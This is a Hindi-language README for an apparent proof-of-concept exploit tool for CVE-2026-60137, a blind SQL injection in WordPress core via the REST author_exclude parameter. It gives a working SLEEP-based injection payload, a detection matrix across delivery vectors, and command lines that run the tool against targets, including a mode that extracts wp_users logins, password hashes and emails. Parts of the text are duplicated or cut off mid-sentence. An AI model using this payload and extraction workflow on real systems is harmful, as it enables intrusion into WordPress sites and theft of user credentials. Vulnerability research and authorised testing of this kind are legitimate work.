
CVE-2026-60137 के लिए गैर-विनाशकारी प्रूफ-ऑफ-कॉन्सेप्ट और सत्यापन हार्नेस, WordPress कोर (`WP_Query::author__not_in`) में एक ब्लाइंड SQL इंजेक्शन, जो REST API के `author_exclude` पैरामीटर के माध्यम से पहुंच योग्य है।
CVE-2026-60137 के लिए गैर-विनाशकारी प्रूफ-ऑफ-कॉन्सेप्ट और सत्यापन हार्नेस, जो वर्डप्रेस कोर (WP_Query::author__not_in) में एक ब्लाइंड SQL इंजेक्शन है, जो REST API के author_exclude पैरामीटर के माध्यम से पहुँच योग्य है।
WP_Query::get_posts() author__not_in क्वेरी वेरिएबल को स्ट्रिंग-कॉनकैटेनेशन द्वारा निम्न SQL में बनाता है:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
मान को केवल तब सैनिटाइज़ किया जाता है (प्रति-एलिमेंट absint) जब वह एक ऐरे के रूप में आता है। यदि एक स्केलर स्ट्रिंग भेजी जाती है — REST author_exclude पैरामीटर आंतरिक रूप से author__not_in पर मैप होता है — तो is_array() सैनिटाइज़ेशन गार्ड को छोड़ दिया जाता है और कच्ची स्ट्रिंग NOT IN (...) क्लॉज़ के अंदर पहुँच जाती है, जिसके परिणामस्वरूप SQL इंजेक्शन होता है (CWE-89)।
1) OR SLEEP(6)# रूप का एक पेलोड निम्न उत्पन्न करता है:
post_author NOT IN ( 1) OR SLEEP(6)# )
जो post_author NOT IN (1) OR SLEEP(6) के रूप में पार्स होता है (अंतिम ) को # टिप्पणी द्वारा समाहित कर लिया जाता है) — शून्य डेटाबेस राइट्स के साथ एक स्वच्छ, समय-आधारित ब्लाइंड ओरेकल।
| प्रभावित | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| सुधारा गया | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (स्टैंडअलोन सिंक) |
| चेन किया गया | CVE-2026-63030 के साथ (REST बैच रूट कन्फ्यूज़न) → 6.9.0 – 7.0.1 पर 9.8 प्री-ऑथ RCE |
/wp-json/batch/v1 रूट कन्फ्यूज़न के माध्यम से सिंक प्री-ऑथ पहुँच योग्य है।author_exclude (HTTP 400) को अस्वीकार कर देता है, इसलिए सिंक आमतौर पर केवल तभी पहुँच योग्य होता है जब कोई प्लगइन/थीम अविश्वसनीय इनपुट को आगे भेजता है, या बैच रूट के माध्यम से एक प्रमाणित सत्र (--cookie) द्वारा।cve_2026_60137_poc.py डेटाबेस के विरुद्ध केवल-पढ़ने योग्य (read-only) है:
readme.html, /wp-json/
इंडेक्स) यह जाँचने के लिए कि संस्करण प्रभावित सीमा में है या नहीं।SLEEP(0)
पार्स-कंट्रोल बनाम SLEEP(n) पेलोड, कई डिलीवरी वेक्टरों में (सीधे REST रूट्स,
?rest_route=, और बैच एंडपॉइंट), और प्रति वेक्टर एक निर्णय रिपोर्ट करती है।wp_users पंक्ति
(user_login, user_pass, user_email) निकालती है, सख्ती से SELECT/SLEEP
का उपयोग करके — यह डेटाबेस में कभी नहीं लिखती है।# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
--url | आवश्यक | टार्गेट का बेस URL |
--safe | बंद | केवल फ़िंगरप्रिंट; कोई पेलोड न भेजें |
--sleep | 6 | डिटेक्शन ओरेकल द्वारा उपयोग किए गए SLEEP() सेकंड |
--samples | 3 | प्रति मापन टाइमिंग सैंपल (माध्यिका का उपयोग किया जाता है) |
--threshold | 0.7 | --sleep का वह अंश जिसे सकारात्मक डेल्टा माना जाता है |
--extract | बंद | ब्लाइंड ओरेकल के माध्यम से एक wp_users पंक्ति निकालें |
--user-id | 1 | निकालने के लिए wp_users.ID |
--extract-sleep | 2.0 | प्रति एक्सट्रैक्शन प्रोब SLEEP() सेकंड |
--limit | 64 | प्रति निकाले गए फ़ील्ड अधिकतम वर्ण |
--only-vector | — | केवल उन वेक्टरों का परीक्षण करें जिनके नाम में यह स्ट्रिंग है |
--cookie | — | ऑथ-गेटेड वेक्टरों के लिए प्रमाणित कुकी |
--proxy | — | HTTP(S) प्रॉक्सी, जैसे http://127.0.0.1:8080 (Burp) |
--timeout | 30 | सेकंडों में अनुरोध टाइमआउट |
--no-verify-tls | बंद | TLS प्रमाणपत्र सत्यापन अक्षम करें |
--json-out | — | मशीन-पठनीय साक्ष्य को एक JSON फ़ाइल में लिखें |
यह टूल केवल अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है — पेनेट्रेशन टेस्ट, CTF, और उन सिस्टमों के विरुद्ध शोध जिनके स्वामी आप हैं या जिनका मूल्यांकन करने के लिए आपके पास स्पष्ट लिखित अनुमति है। बिना प्राधिकरण के सिस्टमों के विरुद्ध इसे चलाना अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता है।
--json-out के साथ लिखा गया कोई भी आउटपुट परीक्षण किया गया URL, संस्करण फ़िंगरप्रिंट, और टाइमिंग साक्ष्य शामिल कर सकता है — इसे संवेदनशील एंगेजमेंट डेटा के रूप में मानें।